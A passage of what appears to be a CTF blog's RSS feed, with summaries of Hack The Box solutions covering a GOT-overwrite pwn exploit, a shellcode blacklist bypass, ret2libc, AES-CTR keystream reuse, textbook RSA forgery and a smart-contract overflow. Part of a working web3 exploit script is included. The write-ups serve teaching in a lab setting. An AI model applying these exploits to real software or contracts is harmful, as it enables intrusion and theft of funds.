style=&#34;color:#e6db74&#34;&gt;&amp;#39;__main__&amp;#39;&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    io &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; start(remote_mode&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;True&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    solve(io)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    io&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;close()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;notes&#34;&gt;Notes&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;This target combines two bugs: the OOB leak provides stable libc base, while FSB gives arbitrary write.&lt;/li&gt;&#xA;&lt;li&gt;Partial RELRO keeps GOT writable, so &lt;code&gt;__stack_chk_fail@got&lt;/code&gt; is a clean control-flow target.&lt;/li&gt;&#xA;&lt;li&gt;The canary is not bypassed; it is intentionally &lt;strong&gt;triggered&lt;/strong&gt; to pivot into hijacked GOT.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;result&#34;&gt;Result&lt;/h2&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;HTB{S0m3t1m3s_bl0w1ng_th3_pr0gr4m_1s_g00d}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/pagevault&gt;</description>
    </item>
    <item>
      <title>HTB - Pwn: Execute</title>
      <link>/posts/htb-pwn-execute/</link>
      <pubDate>Wed, 25 Feb 2026 11:40:00 +0700</pubDate>
      <guid>/posts/htb-pwn-execute/</guid>
      <description>&lt;h2 id=&#34;challenge-summary&#34;&gt;Challenge Summary&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Name:&lt;/strong&gt; Execute&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; Pwn&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; Easy&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Goal:&lt;/strong&gt; Execute shellcode despite blacklist restrictions and print flag.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pagevault hint=&#34;Ask bz for access&#34;&gt;&#xA;&lt;h2 id=&#34;root-cause&#34;&gt;Root Cause&lt;/h2&gt;&#xA;&lt;p&gt;Program reads user bytes and jumps to them directly:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; size &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;read&lt;/span&gt;(&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;, buf, &lt;span style=&#34;color:#ae81ff&#34;&gt;60&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;!&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;check&lt;/span&gt;(blacklist, buf, size, &lt;span style=&#34;color:#a6e22e&#34;&gt;strlen&lt;/span&gt;(blacklist))) &lt;span style=&#34;color:#a6e22e&#34;&gt;exit&lt;/span&gt;(&lt;span style=&#34;color:#ae81ff&#34;&gt;1337&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;((&lt;span style=&#34;color:#66d9ef&#34;&gt;void&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;)()) buf)();&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The first-stage payload is filtered against blacklist bytes, but code execution is still intentional (&lt;code&gt;execstack&lt;/code&gt;, NX disabled).&lt;/p&gt;&#xA;&lt;p&gt;Blacklist bytes include values from typical &lt;code&gt;/bin/sh&lt;/code&gt; shellcode (&lt;code&gt;3b&lt;/code&gt;, &lt;code&gt;2f&lt;/code&gt;, &lt;code&gt;62&lt;/code&gt;, &lt;code&gt;69&lt;/code&gt;, &lt;code&gt;6e&lt;/code&gt;, &lt;code&gt;73&lt;/code&gt;, &lt;code&gt;68&lt;/code&gt;, &amp;hellip;), so a direct one-shot payload is blocked.&lt;/p&gt;</description>
    </item>
    <item>
      <title>HTB - Pwn: Restaurant</title>
      <link>/posts/htb-pwn-restaurant/</link>
      <pubDate>Wed, 25 Feb 2026 11:35:00 +0700</pubDate>
      <guid>/posts/htb-pwn-restaurant/</guid>
      <description>&lt;h2 id=&#34;challenge-summary&#34;&gt;Challenge Summary&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Name:&lt;/strong&gt; Restaurant&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; Pwn&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; Easy&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Goal:&lt;/strong&gt; Gain code execution and read the flag.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pagevault hint=&#34;Ask bz for access&#34;&gt;&#xA;&lt;h2 id=&#34;root-cause&#34;&gt;Root Cause&lt;/h2&gt;&#xA;&lt;p&gt;The vulnerability is in &lt;code&gt;fill()&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;local stack buffer is 0x20 bytes&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;read(0, buf, 0x400)&lt;/code&gt; allows stack overflow&lt;/li&gt;&#xA;&lt;li&gt;no canary + no PIE make RIP control straightforward&lt;/li&gt;&#xA;&lt;li&gt;NX is enabled, so we use ROP/ret2libc (no shellcode on stack)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Security profile of binary:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Full RELRO&lt;/li&gt;&#xA;&lt;li&gt;NX enabled&lt;/li&gt;&#xA;&lt;li&gt;No PIE&lt;/li&gt;&#xA;&lt;li&gt;No canary&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;exploit-strategy&#34;&gt;Exploit Strategy&lt;/h2&gt;&#xA;&lt;p&gt;Use a two-stage chain:&lt;/p&gt;</description>
    </item>
    <item>
      <title>HTB - Crypto: Broken Decryptor</title>
      <link>/posts/htb-crypto-broken-decryptor/</link>
      <pubDate>Wed, 25 Feb 2026 05:35:00 +0700</pubDate>
      <guid>/posts/htb-crypto-broken-decryptor/</guid>
      <description>&lt;h2 id=&#34;challenge-summary&#34;&gt;Challenge Summary&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Name:&lt;/strong&gt; Broken Decryptor&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; Crypto&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; Medium&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Target:&lt;/strong&gt; Recover server flag from encryption oracle behavior&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pagevault hint=&#34;Ask bz for access&#34;&gt;&#xA;&lt;h2 id=&#34;root-cause&#34;&gt;Root Cause&lt;/h2&gt;&#xA;&lt;p&gt;This challenge combines two critical mistakes:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;AES-CTR stream reuse&lt;/strong&gt; with fixed &lt;code&gt;key&lt;/code&gt; and &lt;code&gt;iv&lt;/code&gt; for every encryption call.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Biased OTP generation&lt;/strong&gt;:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;otp &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; os&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;urandom(len(data))&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;replace(&lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\x00&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\xff&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Replacing &lt;code&gt;0x00&lt;/code&gt; means each byte position can only produce &lt;strong&gt;255 possible OTP values&lt;/strong&gt;, not 256.&#xA;That creates a forbidden-byte leak: after enough samples at one position, the single unseen byte is the hidden pre-OTP byte.&lt;/p&gt;</description>
    </item>
    <item>
      <title>HTB - Crypto: mysterybox</title>
      <link>/posts/htb-crypto-mysterybox/</link>
      <pubDate>Wed, 25 Feb 2026 05:35:00 +0700</pubDate>
      <guid>/posts/htb-crypto-mysterybox/</guid>
      <description>&lt;h2 id=&#34;challenge-summary&#34;&gt;Challenge Summary&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Name:&lt;/strong&gt; mysterybox&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; Crypto&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; Medium&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Goal:&lt;/strong&gt; Forge a valid signature for the protected admin message and retrieve the flag.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pagevault hint=&#34;Ask bz for access&#34;&gt;&#xA;&lt;h2 id=&#34;root-cause&#34;&gt;Root Cause&lt;/h2&gt;&#xA;&lt;p&gt;The server implements &lt;strong&gt;textbook RSA signatures&lt;/strong&gt; directly over raw integers:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;sign(m) = m^d mod n&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;verify(m, s)&lt;/code&gt; checks &lt;code&gt;s^e mod n == m&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;There is &lt;strong&gt;no hashing&lt;/strong&gt; and &lt;strong&gt;no padding&lt;/strong&gt; (e.g., no PKCS#1 v1.5/PSS).&#xA;This makes signatures multiplicatively malleable:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sig(m1 * m2) = sig(m1) * sig(m2) mod n&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The app blocks signing the exact admin message, but it still signs related values, which is enough to forge an admin signature.&lt;/p&gt;</description>
    </item>
    <item>
      <title>HTB - Blockchain: False Bidding</title>
      <link>/posts/htb-blockchain-false-bidding/</link>
      <pubDate>Wed, 25 Feb 2026 01:43:00 +0700</pubDate>
      <guid>/posts/htb-blockchain-false-bidding/</guid>
      <description>&lt;h2 id=&#34;challenge-summary&#34;&gt;Challenge Summary&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Name:&lt;/strong&gt; False Bidding&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; Blockchain&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; Medium&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Goal condition:&lt;/strong&gt; &lt;code&gt;TARGET.keyOwner() == player&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pagevault hint=&#34;Ask bz for access&#34;&gt;&#xA;&lt;h2 id=&#34;root-causes&#34;&gt;Root Causes&lt;/h2&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;Bid threshold overflow&lt;/strong&gt; in receive gate:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;condition uses &lt;code&gt;uint64(msg.value) &amp;gt;= 2 * topBidder().bid&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;set top bid to $2^{63}$ ⇒ &lt;code&gt;2 * bid&lt;/code&gt; wraps to &lt;code&gt;0&lt;/code&gt; (in uint64 space)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;code&gt;uint32 timeout&lt;/code&gt; wraparound&lt;/strong&gt;:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;every accepted bid does &lt;code&gt;timeout += YEAR&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;repeated increments overflow timeout below current timestamp&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2 id=&#34;exploit-plan&#34;&gt;Exploit Plan&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Become top bidder with &lt;code&gt;2^63&lt;/code&gt; wei.&lt;/li&gt;&#xA;&lt;li&gt;Alternate zero-value bids between two EOAs (must satisfy &lt;code&gt;msg.sender != topBidder().addr&lt;/code&gt;).&lt;/li&gt;&#xA;&lt;li&gt;Keep extending timeout until it wraps to past time.&lt;/li&gt;&#xA;&lt;li&gt;Claim prize as top bidder.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;full-poc-script-pythonweb3&#34;&gt;Full PoC Script (Python/web3)&lt;/h2&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#!/usr/bin/env python3&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;import&lt;/span&gt; requests&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;from&lt;/span&gt; web3 &lt;span style=&#34;color:#f92672&#34;&gt;import&lt;/span&gt; Web3&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;from&lt;/span&gt; eth_utils &lt;span style=&#34;color:#f92672&#34;&gt;import&lt;/span&gt; keccak&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;from&lt;/span&gt; eth_abi &lt;span style=&#34;color:#f92672&#34;&gt;import&lt;/span&gt; decode&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;from&lt;/span&gt; eth_account &lt;span style=&#34;color:#f92672&#34;&gt;import&lt;/span&gt; Account&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;BASE &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;http://&amp;lt;INSTANCE_IP&amp;gt;:&amp;lt;PORT&amp;gt;&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;RPC &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; BASE &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;/rpc&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;info &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; requests&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;get(BASE &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;/connection_info&amp;#34;&lt;/span&gt;, timeout&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;10&lt;/span&gt;)&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;json()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;PRIV &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; info[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;PrivateKey&amp;#34;&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;PLAYER &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; Web3&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;to_checksum_address(info[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Address&amp;#34;&lt;/span&gt;])&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;TARGET &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; Web3&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;to_checksum_address(info[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;TargetAddress&amp;#34;&lt;/span&gt;])&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SETUP &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; Web3&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;to_checksum_address(info[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;setupAddress&amp;#34;&lt;/span&gt;])&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;w3 &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; Web3(Web3&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;HTTPProvider(RPC))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;acctA &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; w3&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;eth&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;account&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;from_key(PRIV)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;acctB &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; Account&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;create(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;false-bidding&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sel_timeout &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; keccak(text&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;timeout()&amp;#34;&lt;/span&gt;)[:&lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sel_top &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; keccak(text&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;topBidder()&amp;#34;&lt;/span&gt;)[:&lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sel_claim &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; keccak(text&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;claimPrize()&amp;#34;&lt;/span&gt;)[:&lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sel_solved &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; keccak(text&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;isSolved(address)&amp;#34;&lt;/span&gt;)[:&lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;call_u256&lt;/span&gt;(to, sel):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; int&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;from_bytes(w3&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;eth&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;call({&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;to&amp;#34;&lt;/span&gt;: to, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;data&amp;#34;&lt;/span&gt;: sel}), &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;big&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;top_bidder&lt;/span&gt;():&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    r &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; w3&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;eth&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;call({&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;to&amp;#34;&lt;/span&gt;: TARGET, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;data&amp;#34;&lt;/span&gt;: sel_top})&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    addr, bid &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; decode([&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;address&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;uint64&amp;#34;&lt;/span&gt;], r)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; Web3&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;to_checksum_address(addr), int(bid)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;send&lt;/span&gt;(acct, to, value&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;, data&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;, gas&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;220000&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    tx &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;chainId&amp;#34;&lt;/span&gt;: w3&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;eth&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;chain_id,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;nonce&amp;#34;&lt;/span&gt;: w3&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;eth&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;get_transaction_count(acct&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;address),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;to&amp;#34;&lt;/span&gt;: to,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;value&amp;#34;&lt;/span&gt;: value,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        